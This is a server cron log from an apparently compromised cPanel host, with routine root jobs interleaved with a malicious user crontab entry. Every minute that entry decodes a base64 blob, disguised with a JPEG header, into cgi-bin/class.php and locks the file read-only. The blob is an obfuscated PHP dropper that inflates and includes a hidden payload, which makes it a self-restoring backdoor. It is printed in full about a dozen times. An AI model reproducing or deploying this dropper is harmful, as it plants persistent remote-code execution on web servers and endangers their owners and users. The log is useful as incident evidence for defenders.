Sep  4 22:03:01 server CROND[9041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:03:01 server CROND[9042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:04:01 server CROND[9422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:04:01 server CROND[9423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:04:01 server CROND[9424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:05:01 server CROND[9805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:05:01 server CROND[9809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:05:01 server CROND[9822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:05:01 server CROND[9827]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:05:01 server CROND[9833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:05:01 server CROND[9831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:05:01 server CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:05:01 server CROND[9834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:06:01 server CROND[10651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:06:01 server CROND[10653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:06:01 server CROND[10654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:07:01 server CROND[11029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:07:01 server CROND[11030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:07:01 server CROND[11031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:08:01 server CROND[11566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:08:01 server CROND[11567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:08:01 server CROND[11568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:09:01 server CROND[11945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:09:01 server CROND[11947]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 22:09:01 server CROND[11948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:09:01 server CROND[11949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:10:01 server CROND[12337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:10:01 server CROND[12341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:10:01 server CROND[12342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:10:01 server CROND[12343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:10:01 server CROND[12354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:10:01 server CROND[12357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:10:01 server CROND[12352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:10:01 server CROND[12356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:11:01 server CROND[13214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:11:01 server CROND[13215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:11:01 server CROND[13216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:12:01 server CROND[13599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:12:01 server CROND[13600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:12:01 server CROND[13601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:12:01 server CROND[13603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:13:01 server CROND[14091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:13:01 server CROND[14092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:13:01 server CROND[14093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:14:01 server CROND[14481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:14:01 server CROND[14482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:14:01 server CROND[14483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:15:01 server CROND[14872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:15:01 server CROND[14874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
